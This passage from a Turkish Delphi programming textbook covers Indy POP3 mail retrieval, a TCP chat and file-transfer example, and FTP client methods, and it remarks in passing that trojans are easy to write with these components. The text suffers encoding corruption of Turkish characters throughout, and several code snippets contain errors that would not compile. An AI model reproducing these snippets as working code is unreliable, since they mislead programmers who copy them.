sa÷layıp e-mailleri ö÷rendikten sonra Mail Server ile mutlaka ba÷lantıyı kesmelisiniz. Bu iúlemi ancak “Disconnect” methodunu ça÷ırarak gerçekleútirebilirsiniz. 330 x OnConnected Yordamı “Connect” methodu ça÷rıldıktan sonra Mail Server ile ba÷lantı sa÷lanabilirse bu yordam otomatik olarak iúletilecektir. procedure TForm3.IdPOP31Connected(Sender: TObject); begin ShowMessage('Server øle Ba÷lantı Sa÷landı'); end; x OnDisconnect Yordamı “Disconnect” methodu ça÷rıldıktan sonra “Mail Server” ile ba÷lantı kesilecektir. Bu durumda bu yordam otomatik olarak iúletilecektir. procedure TForm3.IdPOP31Disconnected(Sender: TObject); begin ShowMessage('Ba÷lantı Kesildi'); end; IdMessage Kontrolünün e-mail Alırken Kullanabilece÷iniz Mrethodları Daha önce bu kontrole ait e-mail gönderirken kullanabilece÷iniz özelliklerinden bahsetmiútik. ùimdi de e-mail alırken kullanabilece÷iniz özellik ve methodlarından bahsedece÷im. x IdMessage1.MessageParts.Count Bu methodla e-mail a eklenmiú olan AttacHment sayısı belirlenebilir. Basit bir For dngüsü içerisinde tüm dosyalara ulaúılabilir procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin for j:=0 to Pred(IdMessage1.MessageParts.Count) do//tümüne bak begin end; end; 331 x IdMessage1.MessageParts.Items[] Index numarasıyla belirtilen elemana bu özellikle ulaúılabilir. procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin if not (IdMessage1.MessageParts.Items[j] is TIdAttachment) Then //ekli dosyamı begin end; end; x IdMessage1.MessageParts.Items[]).Body Index numarasıyla belirtilen elemana ait açıklama kısmına ulaúmak için kullanılan özelliktir. procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin if IdMessage1.MessageParts.Items[j] is TIdText Then Memo1.Lines.AddStrings(TIdText(IdMessage1.MessageParts.Items[j]).Body); end; x IdMessage1.MessageParts.Items[]).FileName Index numarasıyla belirtilen elemana ait dosya ismine ulaúabilece÷iniz özelli÷idir. procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin if IdMessage1.MessageParts.Items[j] is TIdAttachment Then Memo1.Lines.Add(TIdAttachment(IdMessage1.MessageParts.Items[j]).FileName); end; ùimdi açıkladı÷ımız bu özellikleri örnek üzerinde göstererek daha iyi bir úekilde anlamanızı sa÷layalım. 332 Uygulama 6:E-Mail Almak Bu örnekte “Mail Server” bilgisayarına ba÷lanıp “Kullanıcı Adı” ve “ùifre” de÷erini girece÷iz. Do÷ru bilgilerin girilmesi durumunda tüm e-mail bilgilerini kendi bilgisayarımızda gösterece÷iz. Örnek için aúa÷ıdaki iki forma ait tasarımı oluúturunuz. øknci formu oluúturmaktaki amacımız “Mail Server” bilgisayarına ait yapılabilecek ayarları belirleyebilmek için olacaktır. Ana Form ùifre Formu Her ne kadar tasrım görüntüsünden yapılacak olan iúlemler belli olsada biz yine de adım adım projeyi izah edelim. Aúa÷ıda gösterilen adımları sırasıya ve dikkatlice takip ediniz. 333 Birinci adım da formunuza bir adet “Main Menu” (Standart Araç çubu÷unda yer alır) kontrolü yerleútirerek “POP3 Ayarları” altında “De÷iútir” ismiyle tek seçenekli bir menü yaratınız (Bu seçene÷e tıklanıldı÷ı vakit Mail Server adresi, Kullanıcı adı ,úifre de÷erleri yeniden belirlenebilecektir). økinci adımda formunuza “Indy Client” yapra÷ında yer alan “IdPOP3” kontrolü yerleútirin. Üçüncü adımda formunuza “Indy Mısc” yapra÷ında yer alan “IdMessage” kontrolünü yerleútirin. Dördüncü adımda “Additional” yapra÷ında bulunan “StringGrid” kontrolünden bir adet formunuza çizin. Ardından “RowCount” de÷erine 7, “ColCount” de÷erine de 6 rakamını girin (7 satır 6 sütun oluútur). Görüntüsel açıdan yine “StringGrid” Kontrolüne ait “Options” özelli÷ine tıklayın. Burada yer alan “goFixedVertLine”, “goFixedHorzLine” ve “goHorzLine” özelliklerine false de÷erlerini aktarın. Altıncı adımda formunuza 5 adet “CheckBox”, øki Adet “Button” ve bir adet “Memo” kontrolü ekleyiniz. økinci form için anlatacak fazla bir úey yok. Görüntüdeki kontroller dıúında herhangi bir eklenti zaten yapılmamıútır (øki forma da di÷er Unit i eklemeyi unutmayınız). ùimdi aúa÷ıdaki kodları gerekli Unit lere akleyin. var Form3: TForm3; //Ana Forma Ait Kod implementation uses Unit4;//eklemeyi unutmayınız. {$R *.dfm} procedure TForm3.FormCreate(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com';//default de÷erleri belirle IdPOP31.Username:='n_demirli'; IdPOP31.Password:=tavsan; //Baúlık satırı de÷erleri StringGrid1.Cells[0,0]:='Dosya'; StringGrid1.Cells[1,0]:='Konu'; StringGrid1.Cells[2,0]:='Kimden'; StringGrid1.Cells[3,0]:='Tarih'; StringGrid1.Cells[4,0]:='Uzunluk'; end; 334 procedure TForm3.Button1Click(Sender: TObject); var sayi,i:Integer; begin IdPOP31.Connect();//Baúlan sayi:=IdPOP31.CheckMessages;//Kaç mail var if sayi=0 Then Panel1.Caption:='Mailiniz Yok' else begin if sayi>5 Then sayi:=5; for i:=0 to sayi-1 do begin IdMessage1.Clear; IdPOP31.Retrieve(i,IdMessage1); if IdMessage1.MessageParts.Count>0 Then if i=0 Then CheckBox1.Checked:=true; if i=1 Then CheckBox2.Checked:=true; if i=2 Then CheckBox3.Checked:=true; if i=3 Then CheckBox4.Checked:=true; if i=4 Then CheckBox5.Checked:=true; StringGrid1.Cells[1,i+1]:=IdMessage1.Subject;//Konu StringGrid1.Cells[2,i+1]:=IdMessage1.From.Text;//Gönderen StringGrid1.Cells[3,i+1]:=DateToStr(IdMessage1.Date);//Tarih StringGrid1.Cells[4,i+1]:=IntToStr(IdPOP31.RetrieveMsgSize(i+1)); end; end end; procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); var i,j:Integer; begin if IdPOP31.Connected Then//Ba÷lantı varsa al begin i:=Arow-1; Form3.Caption:=IntToStr(i); 335 IdMessage1.Clear; IdPOP31.Retrieve(i+1,IdMessage1); Memo1.Lines.Clear;//Temizle for j:=0 to Pred(IdMessage1.MessageParts.Count) do if not (IdMessage1.MessageParts.Items[j] is TIdAttachment) Then if IdMessage1.MessageParts.Items[j] is TIdText Then Memo1.Lines.AddStrings(TIdText(IdMessage1.MessageParts.Items[j]).Body); end; end; procedure TForm3.IdPOP31Connected(Sender: TObject); //Ba÷lantıyı Kes begin ShowMessage('Server øle Ba÷lantı Sa÷landı'); end; procedure TForm3.IdPOP31Disconnected(Sender: TObject); begin ShowMessage('Ba÷lantı Kesildi'); end; procedure TForm3.Deitir1Click(Sender: TObject); //Menü Seçene÷i begin Form4.Show; end; procedure TForm3.Button2Click(Sender: TObject); Var i,j:Integer; begin IdPOP31.Disconnect; //Baúlantıyı Kapat for i:=1 to 6 do begin for j:=0 to 4 do begin StringGrid1.Cells[j,i]:='';//Gridi Temizle end ; end; Memo1.Lines.Clear; CheckBox1.Checked:=false; CheckBox2.Checked:=false; CheckBox3.Checked:=false; CheckBox4.Checked:=false; CheckBox5.Checked:=false;end; 336 ùimdi uygulamayı çalıútırıp “Ba÷lan” dü÷mesine tıklayın size ait olan tüm email ler listeye eklenecektir. En sol kısımdaki sütuna bakarsanız, úayet e-maile dosya eklentisi varsa size gösterecektir. ùimdide ikinci forma ait kodlamayı sizlere verelim. var Form4: TForm4; //POP3 Ayarlarının Yapılaca÷ı økinci forma ait kodlama implementation uses Unit3; {$R *.dfm} procedure TForm4.Edit1Change(Sender: TObject); begin Form3.IdPOP31.Host:=Edit1.Text;//Mail Servera ait adres end; procedure TForm4.Edit2Change(Sender: TObject); begin Form3.IdPOP31.Username:=Edit2.Text;//Kullanıcı Adı end; procedure TForm4.Edit3Change(Sender: TObject); begin Form3.IdPOP31.Password:=Edit3.Text;//ùifre end; procedure TForm4.Button1Click(Sender: TObject); 337 begin Form4.Close;//Formu kapat end; Birinci formu açtıktan sonra “Mail Server” ile ilgili ayarlarınızı de÷iútirmek isterseniz. “POP3 Ayarları” menüsünde yer alan “De÷iútir” seçene÷ine tıklayın. Aúa÷ıdaki form açılacaktır. Burada gerekli düzenlemeleri yapabilirsiniz. Bu örnek kolay anlaúılsın diye (çünkü CheckBox kontrollerini kodda dizi úeklinde yaratarak kafanızı karıútırmak istemedim. Dizi úeklinde tanımlamayınca da kontroller çok can sıkıcı ve aúıraya kaçmaktadır) 5 e-mail dosyasına göre tasarlanmıútır. Siz dilerseniz adedi artırabilirsiniz. Bu örnek için önemli bir hatırlatma yapmak istiyorum . “Connect” methodu ça÷rıldı÷ı anda iúlem baúarılı veya baúarısız úekilde sonuçlanana kadar baúka hiç bir iúlem gerçekleútiremezsiniz (Indy kontrollerinin özelli÷i gere÷i bir satır bitmeden di÷er satırlara geçilmez). Yani baúka bir dü÷meye tıklayamaz veya formu taúıyamazsınız (ilk kitabımızda yer alan döngü komutları kısmında butür durumları “Application.ProcessMessage” komutuyla halletmiútik). ùayet aynı anda di÷er iúlemlerinizi de gerçekleútirmek isterseniz o zaman belirli aralıklarla kontrolü size verecek bir yapı oluúturmak zorundasınız. Bu yapıyı Delphi sizin yerinize hazırlamıútır. “Indy Mısc” yapra÷ında yer alan “IdAntiFreeze” kontrolü bu sorunu halletmek için tasarlanmıútır. Yani bu kontrolü formunuza eklemeniz, “TimeOut” özelli÷ine atadı÷ınız de÷er çerçevesinde kontrolü size vererek di÷er iúlemlerinizi halletmenizi sa÷layacaktır. 338 IdAntiFreeze Kontrolü: Bu kontrol sayesinde yo÷un iúlemlerin gerçekleúti÷i durumlarda programınızın úiúmesini engelleyebilir, aynı anda birden fazla komut iúletebilme imkanına sahip olabilirsiniz. Aúa÷ıda bu kontrole has özellikler izah edilmektedir. x IdAntiFreeze1.Active Aynı anda birden fazla uygulamaya cevap verebilmeniz için bu özelli÷e true de÷erini aktarmanız gerekecektir. procedure TForm3.FormCreate(Sender: TObject); begin IdAntiFreeze1.Active; End; x IdAntiFreeze1.OnlyWhenIdle Varsayılan de÷eri true olan bu özellik olayın aktifleúmesini sa÷lamak için kullanılacaktır (siz de÷iútirmeyin). procedure TForm3.FormCreate(Sender: TObject); begin IdAntiFreeze1.OnlyWhenIdle:=true; End, x IdAntiFreeze1.IdleTimeOut Kontrolü size verecek peryodu bu özellikle belirlemelisiniz. Ne kadar küçük bir de÷er verirseniz, ilk kodunuz o kadar yavaú, yeni iúleminiz de o kadar hızlı gerçekleúecektir. procedure TForm3.FormCreate(Sender: TObject); begin IdAntiFreeze1.IdleTimeOut:=10; End; x IdAntiFreeze1.Sleep økinci kez iúletilebilmesi için gerekli bekleme süresi bu özellikle belirlenebilir. Girilecek olan de÷er milisaniye cinsinden olacaktır. 339 IdTCPServer Kontrolü: Bu kontrol “IdTcpClient” nesnesiyle beraber kullanılarak bilgisayarlar arasındaki iletiúimi sa÷lar. Chat uygulamaları, Dosya transferi, Trojan lar bu kontrollerle kolayca yazılabilirler. Aúa÷ıda kontrole ait özellikler verilmektedir. Dikkatlice inceleyiniz (Indy Server Yapra÷ında bulabilirsiniz). x IdTCPServer1.DefaultPort Kontrolün dinleyece÷i port bu özellikle belirlenebilir. Tam sayı tipli bir de÷iúkenin de÷erini de kullanabilmektedir. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; end; x IdTCPServer1.Active Kontrolün portu dinleyebilmesi için port numarasının belirlenmesi yetmez. Ayrıca bu özelli÷e de true de÷erinin aktarılması gerekecektir. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; x OnConnect Yordamı Bu yordam herhangi bir bilgisayarın server a ba÷lanmak istemesi durumunda otomatik olarak iúleyecektir. Aúa÷ıdaki úekilde tanımlanmıútır. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin end; ùayet prosedür içerisine dikkat edecek olursanız “Athread” isminde bir de÷iúken tanımlanmıútır. Bu de÷iúkeni kullanarak size ba÷lanan bilgisayarlar hakkında tüm bilgileri ö÷renebilirsiniz. Aúa÷ıda bu özelliklerin en önemlileri izah edilmektedir. 340 x AThread.Connection.Socket.Binding.PeerIP Server a ba÷lanan bilgisayarın “IP” numarasını ö÷renebilmek için kullanılan özelli÷idir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var mak:AnsiString; begin mak:=AThread.Connection.Socket.Binding.PeerIP; ListBox1.Items.Add(mak);//Listeye ekle end; x AThread.Connection.Socket.Binding.IP Server a ba÷lanan bilgisayarın “IP” numarasını ö÷renebilmek için kullanılan di÷er bir özelli÷idir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var mak:AnsiString; begin mak:=AThread.Connection.Socket.Binding.IP; ListBox1.Items.Add(mak);//Listeye ekle end; x AThread.Connection.Disconnect Servera ba÷lanan bilgisayarların belli bir kritere uymalarını isteyebilirsiniz (üyenizin olası gerekebilir vs.). Bu kriterlere uymayanları ise ba÷lantıdan atabilirsiniz. Ba÷lantının kesilmek istenmesi “Disconnect” methodu sayesinde gerçekleúebilecektir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.Disconnect; end; Disconnect methodunu kullandı÷ınız bilgisayarın sizinle tekrar haberleúebilmesi için “Connect” methodunu ikinci kez ça÷ırması gerekecektir. 341 x AThread.Connection.ReadLn() Di÷er bilgisayar trafından porta gönderilen içerik bu method sayesinde okunabilir. Geriye dönen de÷er Ansistring tipte bir de÷iúkene hiç bir çeviriye ihtiyaç duymadan aktarılabilir. Hatırlatalım “Athread” parametresi “OnExecute” yordamında da aynen kullanılabilir. procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var mesaj:AnsiString; begin mesaj:=AThread.Connection.ReadLn(); Memo1.Lines.Add(mesaj); end; x AThread.Connection.WriteLn() Parametre ile girilen string de÷iúkene ait de÷eri size o an ba÷lanan bilgisayara göndermek için kullanılan methoddur. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.WriteLn('Kabul Edildin'); end; x AThread.Connection.ReadStream() Porta gelen Stream (dosya veya benzeri) tipli veriyi okumak için kullanılan methoddur. Dosya transfer iúlemlerinde kullanılacaktır. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var dosya:TFileStream; begin dosya:=TFileStream.Create('c:\yuksel.txt',fmCreate); AThread.Connection.ReadStream(dosya);//dosyaya yaz end; Yukarıdaki kod bulo÷unda, okunan dosya verisi, direk olarak “c:\yuksel.txt” dosyasına kaydedilecektir. 342 x AThread.Connection.WriteStream() Di÷er bilgisayara gönderilmek üzere porta yazılacak dosya verisi bu methodla belirlenir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var yolla:TStream; begin AThread.Connection.WriteStream(yolla); end; x AThread.Connection.OpenWriteBuffer() Stream tipli verileri di÷er bilgisayara göndermek için bu method kullanılarak öncelikle Buffer kullanıma açılmalıdır. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.OpenWriteBuffer(); end; x AThread.Connection.CloseWriteBuffer() Stream tipli veriler porttan gönderildikten sonra Buffer için bu methodla kapatılma iúlemi gerçekleútirilmelidir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.CloseWriteBuffer(); end; x AThread.Connection.ClearWriteBuffer() Buffer’a yazdıktan sonra temizlenmesi için kullanılan methoddur. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.ClearWriteBuffer();//temizle end; 343 IdTCPClient Kontrolü: “Indy Clients” yapra÷ında yer alan bu kontrol “IdTCPServer” kontrolü ile beraber kullanılarak bilgisayarlar arası haberleúme iúlemi gerçekleútirilebilir. Aúa÷ıda kontrole ait özellik ve methodlar verilmektedir. x IdTCPClient1.Host Mesajın gönderilece÷i bilgisayarın “IP” numarası bu özellikle belirlenir. String tipte bir de÷iúken de÷eri aktarılabilir. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPClient1.Host:='10.11.0.180'; end; x IdTCPClient1.Port Mesajın gönderilece÷i port numarası bu özellikle belirlenir. Unutmayın hangi port numarasından gönderirseniz, Server uygulamanızda da o porttan dinlemelisiniz. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPClient1.Host:='10.11.0.180'; IdTCPClient1.Port:=20000; end; x IdTCPClient1.Connect() Mesaj gönderebilmek için öncelikle ba÷lantının sa÷lanması gerekir. Bu methodla di÷er bilgisayara ba÷lanabilirsiniz. procedure TForm1.Button1Click(Sender: TObject); begin IdTCPClient1.Connect();//Ba÷lan end; x IdTCPClient1.Disconnect() Server makinesi ile ba÷lantıyı kesmek için kullanılan methoddur. 344 procedure TForm1.Button1Click(Sender: TObject); begin IdTCPClient1.Disconnect();//Ba÷lantıyı Kes end; x IdTCPClient1.Connected Di÷er bilgisayar ile ba÷lantının var olup olmadı÷ını bu methodla ö÷renebilirsiniz. Geriye true de÷erinin dönmesi ba÷lantının var oldu÷u anlamını taúımaktadır. procedure TForm1.Button1Click(Sender: TObject); begin if IdTCPClient1.Connected Then begin IdTCPClient1.Disconnect(); Button1.Caption:='Ba÷lan'; end else begin IdTCPClient1.Connect(); Button1.Caption:='Ba÷lantıyı Kes'; end; end; x IdTCPClient1.WriteLn() Di÷er bilgisayara mesaj göndermek için kullanılan methoddur. Parametre olarak AnsiString tipte bir de÷iúken girilebilir. procedure TForm1.Button2Click(Sender: TObject); begin IdTCPClient1.WriteLn('Selamlar'); end; x IdTCPClient1.ReadLn() Di÷er bilgisayar tarafından porta gönderilen mesajı okumak için kullanılan methoddur. Timer kontrolü içerisinde kullanılarak port devamlı olarak dinlenebilir (Bunun performansınızı düúürece÷ini unutmayın). 345 procedure TForm1.Timer1Timer(Sender: TObject); var deger:AnsiString; begin if IdTCPClient1.Connected Then//Ba÷lantı varsa begin deger:=IdTCPClient1.ReadLn();//oku Memo1.Lines.Add(deger);//yaz end; end; Uygulama 7:Chat Uygulaması Aúa÷ıda iki adet proje geliútirilmiútir. Birinci proje gelen mesajları almak için, ikincisi ise server makinesine mesaj yollamak için kullanılacaktır. Tasarımları aúa÷ıda verilmiútir. Server Uygulaması Uygulama için kullanılan kod blo÷u aúa÷ıda verilmiútir. Formunuzun uygun olan yordamlarına ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); 346 var mak:AnsiString; begin StatusBar1.Panels[0].Text:='Ba÷lantı Iste÷i Geldi'; mak:=AThread.Connection.Socket.Binding.PeerIP;//IP numarası ListBox1.Items.Add(mak); AThread.Connection.WriteLn('Kabul Edildin');//Geriye Yolla end; procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var mesaj:AnsiString; begin mesaj:=AThread.Connection.ReadLn(); Memo1.Lines.Add(mesaj); end; Client Uygulaması Client uygulamasına ait form tasarımı yukarıda verilmiútir. procedure TForm1.Button1Click(Sender: TObject); begin if IdTCPClient1.Connected Then begin IdTCPClient1.Disconnect(); Button1.Caption:='Ba÷lan'; end else begin 347 IdTCPClient1.Connect(); Button1.Caption:='Ba÷lantıyı Kes'; end; end; procedure TForm1.Button2Click(Sender: TObject); var deger:AnsiString; begin deger:=Memo1.Lines.Strings[Memo1.Lines.count-1];//son satır IdTCPClient1.WriteLn('<N_Demirli> '+deger);//Yolla end; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPClient1.Host:='10.11.0.180'; IdTCPClient1.Port:=20000; IdAntiFreeze1.Active:=true; //ekleyin yoksa kilitlenirsiniz IdAntiFreeze1.OnlyWhenIdle:=true; IdAntiFreeze1.IdleTimeOut:=10; end; procedure TForm1.Timer1Timer(Sender: TObject); var deger:AnsiString; begin if IdTCPClient1.Connected Then begin deger:=IdTCPClient1.ReadLn();//portu oku Memo2.Lines.Add(deger); end; end; procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char); var deger:AnsiString; begin if Key=#13 Then begin deger:=Memo1.Lines.Strings[Memo1.Lines.count-1];//son satır IdTCPClient1.WriteLn('<N_Demirli> '+deger);//yolla end; end; procedure TForm1.IdTCPClient1Connected(Sender: TObject); begin Label1.Caption:='Server a Baúarıyla Ba÷landın'; end; 348 procedure TForm1.IdTCPClient1Disconnected(Sender: TObject); begin Label1.Caption:='Server la Olan Ba÷lantın Koptu'; end; ùimdi iki uygulamaya ait “exe” dosyalarını yan yana çalıútırın. Aúa÷ıdaki gibi kolayca haberleúebileceksiniz. 349 Uygulama 8:Dosya Transferi ùimdiki uygulamamızda yine aynı kontrolleri kullanarak dosya gönderme iúlemini gerçekleútirece÷iz. Uygulama için yine iki adet proje tasarlayaca÷ız. Birincisi seçilen dosyayı di÷er bilgisayara gönderecek, di÷eri ise porta gelen veriyi okuyup dosya olarak kaydedecek. Server Uygulaması Gerekli olacak tüm kod aúa÷ıda verilmiútir. procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var dosya:TFileStream;yol:AnsiString; begin if SaveDialog1.Execute Then begin yol:=SaveDialog1.FileName; end; dosya:=TFileStream.Create(yol,fmCreate);//Oluútur StatusBar1.Panels[0].Text:='Dosya Alınıyor’; AThread.Connection.ReadStream(dosya);//dosyaya aktar StatusBar1.Panels[0].Text:='Dosya Gönderimi Tamamlandı'; end; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; 350 ùimdide Client Uygulamasına ait tasarımı verelim. Client Uygulaması Programın ihtiyacı oldu÷u kod blo÷u aúa÷ıda verilmiútir. ølgili yordamlara ekleyiniz. var boyut:Single; procedure TForm1.Button1Click(Sender: TObject); var dosya:TFileStream; yol:AnsiString; begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; end; dosya:=TFileStream.Create(yol,fmOpenRead);//var olanı kullan boyut:=dosya.Size; //dosyanın uzunlu÷u StatusBar1.Panels[1].Text:=IntToStr(boyut); IdTCPClient1.Connect(); //ba÷lan IdTCPClient1.WriteStream(dosya);//akıúa al end; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPClient1.Host:='10.11.0.180'; IdTCPClient1.Port:=20000; end; 351 procedure TForm1.IdTCPClient1WorkBegin(Sender: TObject; AWorkMode: TWorkMode; const AWorkCountMax: Integer); begin StatusBar1.Panels[0].Text:='Dosya Gönderiliyor'; end; procedure TForm1.IdTCPClient1WorkEnd(Sender: TObject; AWorkMode: TWorkMode); begin StatusBar1.Panels[0].Text:='Dosya Gönderildi'; end; ùimdi iki uygulamaya ait “exe” dosyalarını yanyana çalıútırıp “Dosya Gönder” dü÷mesine basınız. ølk olarak gönderece÷iniz dosyayı seçmenizi isteyecek, ardından di÷er uygulama dosyayı kaydedece÷i yeri ve ismini sorup kayıt iúlemi tamamlanacaktır. 352 IdFTP Kontrolü: “Indy Clients” yapra÷ında yer alan bu kontrol sayesinde “FTP” sitelerine ba÷lanabilir, bu sitelerden dosya indirebilir veya dosya gönderebilirsiniz. Aúa÷ıda kontrole ait özellikler listelenmektedir. x IdFTP1.Port “FTP” sitelerine ba÷lanabilmek için kullanılacak olan port numarası bu özellikle belirlenir. procedure TForm1.FormCreate(Sender: TObject); begin IdFTP1.Port:=21; end; x IdFTP1.Host Ba÷lanılacak “FTP” sitesine ait adres bu özellikte tutulur. procedure TForm1.FormCreate(Sender: TObject); begin IdFTP1.Port:=21; IdFTP1.Host:=’ftp.microsoft.com’; end; x IdFTP1.Username ùayet site úifre iúlemleriniz için úifre bilgisi istiyorsa kullanıcı adını bu özellikle belirlemelisiniz. ùayet free sitelere ulaúmak isterseniz o zaman “anonymous” kullanıcı ismini kullanabilirsiniz (zorunludur). procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char); begin IdFTP1.Username:='anonymous'; end; 353 x IdFTP1.Password Yetki isteyen siteler için kullanabilece÷iniz úifre de÷erini belirleyen özelli÷idir. ùayet free sitelere ulaúacaksanız e-mail adresinizi girmelisiniz. procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char); begin IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='[email protected]'; end; end; x IdFTP1.List Sitede yer alan dosya veya klasörleri listelemek için kullanılan methoddur. Geriye dönen de÷erler “Tstrings” tipte bir de÷iúkende depolanabilir. procedure TForm1.FormCreate(Sender: TObject); var dosyalar:TStrings; begin dosyalar:=TStringList.Create; IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='[email protected]'; IdFTP1.Connect(); IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; end; Methodda kullanılan ikinci parametre listelenecek elemanlar için kriter belirleyecektir. ùayet boú strıng (‘’) girerseniz tüm dosya ve klasörleri, (*.*) girerseniz tüm dosyaları (klasörler hariç), “*.bmp” girerseniz sadece “bmp” uzantılı dosyaları listeleyecektir. Üçüncü parametre nin “false” olması durumunda elemanların sadece isimlerini, “true” olması durumunda ise isimleriyle beraber di÷er özelliklerinide listeleyecektir. 354 x IdFTP1.Connect() Tüm ba÷lantı ayarlarını yaptıktan sonra siteye ulaúabilmek için kullanılan methoddur. procedure TForm1.FormCreate(Sender: TObject); begin IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='[email protected]'; IdFTP1.Connect();//Ba÷lan end; x IdFTP1.ChangeDir Ba÷landı÷ınız site için aktif klasörü de÷iútirmek için kullanılan methoddur. ùayet webBrowser kullanıyorsanız ve di÷er klasöre girerseniz bu methodla aktif dizini de÷iútirmelisiniz. procedure TForm1.Button2Click(Sender: TObject); begin IdFTP1.ChangeDir(Edit1.Text);//yeni dizin end; x IdFTP1.RemoveDir Aktif dizin içerisinde bulunan klasörü silmek için kullanılan methoddur. Sadece klasörün ismini girmeniz yeterli olacaktır. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.RemoveDir('MISC');//klasörü sil end; x IdFTP1.ChangeDir Yeni klasörün içini açabilmeniz için kullanabilece÷iniz methoddur. Yine sadece klasörün ismini yazmanız yeterli olacaktır. 355 procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.ChangeDir('MISC');//MISC klasörüne geç end; x IdFTP1.MakeDir Sitede yeni boú bir klasör oluúturmak için kullanılan methoddur. Oluúturulacak olan klasörün sadece ismini girmeniz yeterli olacaktır. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.MakeDir('yenioldu');//klasörü yarat end; x IdFTP1.RemoveDir Aktif klasörün içerisinde var olan klasörü silmek için kullanılan methoddur. Silece÷iniz klasörün sadece ismini girmeniz yeterli olacaktır. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.RemoveDir('yenioldu');//Belirtilen klasörü sil end; x IdFTP1.Delete Aktif klasörün içerisindeki dosyayı silmek için kullanılan methoddur. Sadece dosyanın ismini girmeniz yeterli olacaktır. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.Delete('yenidosya');//dosyayı sil end; x IdFTP1.Rename Aktif site içerisinde var olan dosyanın ismini de÷iútirmek için kullanılan methoddur. Birinci parametre dosyanın ismini, ikinci parametre de de÷iútirildikten sonra alaca÷ı yeni ismi belirleyecektir. 356 procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.Rename('yuksel.txt','zaki.txt');//yuksel.txt yi “zeki.txt” yap end; x IdFTP1.Size Parametre ile belirlenen dosyanın uzunlu÷unu hesaplayan methoddur. Parametre de÷erine sadece dosyanın ismini girmeniz yeterli olacaktır. procedure TForm1.Button3Click(Sender: TObject); begin Form1.Caption:=’Dosya Boyutu=’+IntToStr(IdFTP1.Size('yenidosya')); end; x IdFTP1.Quit Siteden ayrılmak için kullanılan methoddur. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.Quit;//Çık end; x IdFTP1.Get Akfit “FTP” sitesinden dosya indirmek için kullanılan methoddur. Birinci parametre ile indirilecek dosyanın ismini, ikinci parametre ile bilgisayarınızda kaydedece÷iniz yeri (ismiyle beraber), üçüncü parametre ile de aynı isimli baúka bir dosya varsa üzerine yazılıp yazılmayaca÷ını belirleyebilirsiniz. procedure TForm1.ComboBox2Change(Sender: TObject); //Dosya øndir var mesaj:Integer; dosya:AnsiString; begin mesaj:=Application.MessageBox('Dosya øndirilsinmi','Dosya øndir', MB_YESNO); if mesaj=mrYes Then begin 357 if SaveDialog1.Execute Then dosya:=SaveDialog1.FileName;//Buraya kaydet IdFTP1.Get(ComboBox2.Text,dosya,false);//üstüne yazma end; end; x IdFTP1.Put “FTP” sitesine dosya yollamak için kullanaca÷ınız methoddur. Birinci parametre dosyanın bilgisayarınızda bulundu÷u adresini (ismiyle beraber), ikinci parametre aktif klasöre kaydedilecek olan ismini, üçüncü parametrede üstüne yazılıp yazılmayaca÷ını belirleyecektir. procedure TForm1.Button5Click(Sender: TObject); //Dosya Yolla var yol:AnsiString; begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; end; IdFTP1.Put(yol,'yeniisim.txt',true); end; x IdFTP1.Disconnect Siteden ba÷lantıyı kesmek için kullanılan methoddur. procedure TForm1.Button1Click(Sender: TObject); //Ba÷lantıyı Kes begin IdFTP1.Disconnect(); end; ùimdi anlattı÷ımız bu özellik ve methodları programımızda kullanabilece÷imiz bir örnek yapalım Örne÷imiz için 